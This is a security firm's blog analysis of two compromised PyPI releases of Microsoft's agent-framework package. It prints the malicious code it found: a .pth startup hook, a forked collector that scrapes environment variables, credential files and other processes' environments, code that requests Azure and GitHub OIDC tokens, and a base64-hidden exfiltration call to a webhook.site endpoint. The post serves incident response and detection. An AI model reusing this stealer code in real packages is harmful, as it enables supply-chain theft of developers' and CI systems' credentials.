---
title: "Microsoft agent-framework Compromised Twice on PyPI"
description: "Versions 1.26.1 and 1.26.2 of agent-framework, the Microsoft Agent Framework metapackage on PyPI, shipped a credential stealer that runs at every Python start. SafeDep flagged both. The second release went up 33 minutes after the first, with the payload renamed and GitHub Actions OIDC theft added."
url: "https://safedep.io/blog/microsoft-agent-framework-pypi-compromise"
author: "SafeDep Team"
published: "2026-11-18"
---

# Microsoft agent-framework Compromised Twice on PyPI

Two releases of `agent-framework`, Microsoft's official Python metapackage for its Agent Framework, steal credentials from any environment that installs them. Nothing has to import the package. A `.pth` file runs the stealer each time Python starts, so a `pip install` in a CI job is enough. It takes environment variables and credential files. It also asks Azure DevOps, Azure managed identity and, in the second release, GitHub Actions for fresh tokens, and sends those out too.

SafeDep flagged version 1.26.1 22 minutes after it was published on 17 November 2026. By then the attacker was close to publishing again. Once 1.26.1 came off PyPI, 1.26.2 shipped the same stealer under different file names, and SafeDep flagged it 4 minutes after upload. Removing one version did not stop an attacker who could still publish. The last clean release is 1.26.0.

## Affected versions

| Version | Files | Wheel SHA-256 | Status |
| --- | --- | --- | --- |
| **1.26.1** | wheel only, 10,402 bytes | `d27fa344…3e989e110` | Malicious, removed from PyPI |
| **1.26.2** | wheel only, 10,449 bytes | `3d20a8bc…a9c9f7e0a9` | Malicious, removed from PyPI |
| 1.26.0 | wheel and sdist | `14267ec8…199b6d71` | Last clean release |

The project is published under the `microsoft` account on PyPI and gets about 192,000 downloads a month. How many installs the two bad versions got is not known yet.

## Timeline

- **20:35** agent-framework 1.26.1 published (Malicious). A single wheel, where every earlier release shipped a wheel and an sdist.
- **20:57** SafeDep flags 1.26.1 (Malicious 0.98). Static analysis of the wheel finds the `.pth` hook, the collector and the webhook.site endpoint.
- **21:08** agent-framework 1.26.2 published (Malicious). 1.26.1 is gone from PyPI. The payload moves to new files and adds GitHub Actions OIDC theft.
- **21:12** SafeDep flags 1.26.2 (Malicious 0.99). Same webhook, new file names, new User-Agent.
- **After 21:12** 1.26.2 removed from PyPI (Removed). 1.26.0 is again the newest version on PyPI.

## How the releases differed from real ones

Every release from 1.20.0 through 1.26.0 shipped a wheel and an sdist. Both malicious versions are a single wheel. The 1.26.1 wheel is 10,402 bytes, up from 6,681 in 1.26.0. A metapackage that always shipped both files now ships one.

Missing provenance does not set the bad wheels apart. PyPI has no attestation for 1.26.0 either, so a consumer had no cryptographic way to tell Microsoft's uploads from the attacker's.

How the attacker got publishing access is not known yet. This is the second Microsoft package on PyPI to get rogue releases in six months. In May, [durabletask 1.4.1 to 1.4.3](https://safedep.io/blog/malicious-durabletask-pypi-supply-chain-attack) were uploaded with a stolen API token and had no matching commits or tags. The payloads and infrastructure share nothing, so there is no evidence the two incidents are linked.

## How the payload runs

Python's `site` module executes any line beginning with `import` in a `.pth` file under `site-packages` at interpreter startup. 1.26.1 ships `agent_framework_meta.pth`, a 28-byte file holding one line. Hashing that line plus a newline reproduces the file's SHA-256 (`21f28e85…98eb5e`).

```text title="agent_framework_meta.pth @ 1.26.1"
import agent_framework_meta
```

That import runs `agent_framework_meta/__init__.py`, where 1.26.1 appends a hook to the otherwise clean file.

```python title="agent_framework_meta/__init__.py @ 1.26.1"
# Lightweight runtime diagnostics hook.
try:
    from . import _telemetry as _telemetry
    _telemetry._start()
except Exception:
    pass
```

`_start()` sets `_AF_TEL` so child interpreters skip it, then forks and detaches with `setsid()`. The host process returns at once, so a test run or build shows no delay. Where `fork` is missing, it uses a daemon thread.

```python title="agent_framework_meta/_telemetry.py @ 1.26.1"
def _start():
    if os.environ.get("_AF_TEL"):
        return
    os.environ["_AF_TEL"] = "1"
    try:
        if hasattr(os, "fork"):
            pid = os.fork()
            if pid == 0:
                try:
                    os.setsid()
                except Exception:
                    pass
                _run()
                os._exit(0)
            return
    except Exception:
        pass
    try:
        import threading
        t = threading.Thread(target=_run)
        t.daemon = True
        t.start()
    except Exception:
        pass
```

The same shape, a one-line `.pth` that imports a module which forks a collector, appeared in [LiteLLM 1.107.0](https://safedep.io/blog/litellm-pypi-compromise-credential-stealer-backdoor) in October.

## What it steals

The collector works through four sources.

1. **Environment variables** whose names contain any of 31 substrings, including `TOKEN`, `SECRET`, `KEY`, `AZURE`, `AWS`, `GITHUB`, `HF_`, `OPENAI`, `NPM`, `PIP`, `SYSTEM` and `BUILD`. Each value is kept up to 8,000 characters.
2. **Credential files**, up to 60 under 256 KB each. These cover Azure CLI JSON under `~/.azure` and `/home/*/.azure`, `pip.conf`, `.npmrc`, `.netrc`, `.git-credentials`, Docker `config.json`, the Hugging Face token, the Azure AI Foundry configuration, and Azure DevOps self-hosted agent `.credentials` under `_work`, `vss-agent` and `/mnt/azure_nvme_temp` paths. It also takes `/app/.env`, `/app/*.json`, `/workspace/.env` and `~/.config/*/token*.json`.
3. **Other processes' environments**, from up to 300 `/proc/<pid>/environ` files. On a shared or self-hosted runner, that reaches secrets belonging to other jobs.
4. **New tokens it requests from the platform**, covered in the next section.

```python title="agent_framework_meta/_telemetry.py @ 1.26.1"
for e in glob.glob("/proc/[0-9]*/environ")[:300]:
    try:
        raw = open(e, "rb").read().decode("utf-8", "replace")
        hits = []
        for kv in raw.split("\x00"):
            if any(x in kv.upper() for x in ("TOKEN","SECRET","PASSWORD","KEY=","ENDPOINT_AUTH","SYSTEM_ACCESSTOKEN","IDENTITY_HEADER")):
                hits.append(kv[:2000])
```

It also records the hostname, user, working directory and `sys.argv`.

## Tokens it requests

Besides reading credentials already on disk, the code asks the platform to issue new ones. Rotating stored secrets does not cover those.

In an Azure DevOps pipeline, `SYSTEM_ACCESSTOKEN` and `SYSTEM_OIDCREQUESTURI` are enough to request a federated token for `api://AzureADTokenExchange`. That is the token a pipeline uses to sign in to Azure through a workload identity federation service connection.

```python title="agent_framework_meta/_telemetry.py @ 1.26.1"
at = os.environ.get("SYSTEM_ACCESSTOKEN") or os.environ.get("SYSTEM_ACCESSTOKEN") or ""
oe = os.environ.get("SYSTEM_OIDCREQUESTURI") or ""
if oe and at:
    for suffix, body in [("?api-version=7.1", {"scopes": ["api://AzureADTokenExchange"]}), ("?api-version=7.1", {})]:
        try:
            req = urllib.request.Request(oe + suffix, data=json.dumps(body).encode(), headers={"Authorization": "Bearer " + at, "Content-Type": "application/json"}, method="POST")
            out["ado"]["oidc"] = urllib.request.urlopen(req, timeout=15).read().decode("utf-8", "replace")[:20000]
```

On Azure compute, it asks the managed identity endpoint for an access token to each of these resources. It uses `IDENTITY_ENDPOINT` or `MSI_ENDPOINT` on App Service and Functions, and `169.254.169.254` elsewhere. It also pulls instance metadata.

```python title="agent_framework_meta/_telemetry.py @ 1.26.1"
res = ["https://management.azure.com/","https://ai.azure.com/","https://ml.azure.com/","https://cognitiveservices.azure.com/","https://storage.azure.com/","https://vault.azure.net","https://search.azure.com","https://management.core.windows.net/","https://graph.microsoft.com/","https://containerregistry.azure.net","499b84ac-1321-427f-aa17-267ca6975798","api://AzureADTokenExchange"]
```

`499b84ac-1321-427f-aa17-267ca6975798` is the Azure DevOps resource ID. A workload with a managed identity hands over tokens for Resource Manager, Key Vault, Storage, Graph and Azure DevOps, scoped to whatever that identity can reach.

## Exfiltration

The endpoint is base64 in `_ENC` and decodes to `hxxps://webhook[.]site/d381fd80-ec62-42ad-8f5c-d1b15103c9bb`. `_post()` compresses the collected JSON with zlib, base64-encodes it and sends it with a 25-second timeout. Errors are swallowed.

```python title="agent_framework_meta/_telemetry.py @ 1.26.1"
_ENC = "aHR0cHM6Ly93ZWJob29rLnNpdGUvZDM4MWZkODAtZWM2Mi00MmFkLThmNWMtZDFiMTUxMDNjOWJi"

def _post(tag, data):
    try:
        import urllib.request
        u = base64.b64decode(_ENC).decode()
        body = base64.b64encode(zlib.compress(json.dumps(data, default=str).encode("utf-8", "replace"), 9))
        req = urllib.request.Request(u + "?t=" + tag, data=body, headers={"Content-Type": "application/octet-stream", "User-Agent": "af-runtime-diagnostics/1"})
        urllib.request.urlopen(req, timeout=25).read()
    except Exception:
        pass
```

The data goes to `?t=telemetry`. A webhook.site bin is anonymous and needs no infrastructure, which leaves the URL as the only network indicator. Proxy and egress logs that show a POST to it mark the hosts that sent data.

## What changed in 1.26.2

1.26.2 restores `agent_framework_meta/__init__.py` to the clean file. Its SHA-256 (`5f04333f…49f1`) matches the one in the 1.26.0 wheel. The stealer moves into a new top-level module that starts itself on import.

| | 1.26.1 | 1.26.2 |
| --- | --- | --- |
| Startup file | `agent_framework_meta.pth` (28 bytes) | `af_runtime_diag.pth` (23 bytes) |
| Stealer | `agent_framework_meta/_telemetry.py` | `af_runtime_diag.py` |
| `agent_framework_meta/__init__.py` | hook appended | same as 1.26.0 |
| User-Agent | `af-runtime-diagnostics/1` | `runtime-diagnostics/1` |
| GitHub Actions OIDC | no | yes |
| Webhook | `d381fd80-…` | `d381fd80-…` |

As with 1.26.1, hashing the one line plus a newline reproduces the published SHA-256 of the startup file (`325e7e9f…7f452f93`).

```text title="af_runtime_diag.pth @ 1.26.2"
import af_runtime_diag
```

A check for 1.26.1's file names or hashes misses 1.26.2. The webhook is the one indicator both share.

The new GitHub Actions block requests ID tokens for the two audiences Azure federated credentials accept. Any job with `id-token: write` that installed 1.26.2 handed both over.

```python title="af_runtime_diag.py @ 1.26.2"
# GitHub Actions OIDC (Azure federated credential)
try:
    u = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_URL") or ""
    t = os.environ.get("ACTIONS_ID_TOKEN_REQUEST_TOKEN") or os.environ.get("ACTIONS_RUNTIME_TOKEN") or ""
    if u and t:
        for aud in ("api://AzureADTokenExchange", "https://management.azure.com/"):
            try:
                sep = "&" if "?" in u else "?"
                uu = u + sep + "audience=" + urllib.parse.quote(aud, safe="")
                req = urllib.request.Request(uu, headers={"Authorization": "Bearer " + t, "Accept": "application/json", "User-Agent": "runtime-diagnostics/1"})
                out["gh_oidc"][aud] = urllib.request.urlopen(req, timeout=12).read().decode("utf-8", "replace")[:20000]
```

The rest of the collector is unchanged. The release went up after 1.26.1 had been removed, so whoever controls the publishing path still held it at 21:08.

## Check your environments

Look for the versions in lockfiles and requirement files.

```console
$ grep -rnE 'agent[-_]framework.{0,20}1\.26\.[12]\b' --include='*.txt' --include='*.lock' --include='*.toml' --include='*.cfg' .
```

On machines, images and runners, look for either startup file without starting the environment's Python. Starting it would run the stealer again.

```console
$ find / -path '*site-packages/*' \( -name 'agent_framework_meta.pth' -o -name 'af_runtime_diag.pth' \) -type f 2>/dev/null
$ find / -path '*site-packages/*' \( -name '_telemetry.py' -o -name 'af_runtime_diag.py' \) -type f -exec sha256sum {} + 2>/dev/null | grep -E '39fa329f2a93f734|54d885b7d7161c9e'
```

Treat every secret reachable from an environment that installed either version as exposed. That covers environment secrets, Azure CLI sessions, and Azure DevOps PATs and service connections. It also covers PyPI, npm, NuGet, Docker and Hugging Face tokens, git credentials, and secrets of other jobs on the same self-hosted runner. Rotation does not undo the tokens it had issued. Review sign-in and activity logs for the managed identities and federated credentials that environment could use, from the install time onward. Pin `agent-framework==1.26.0` with `--require-hashes`, and hold off on any newer release until Microsoft confirms it is clean.

## Indicators of compromise

[IoC: agent-framework 1.26.1 and 1.26.2](https://safedep.io/data/blogs/microsoft-agent-framework-pypi-iocs.csv)

## References

- [agent-framework on PyPI](https://pypi.org/project/agent-framework/)
- [Microsoft Agent Framework documentation](https://learn.microsoft.com/en-us/agent-framework/)
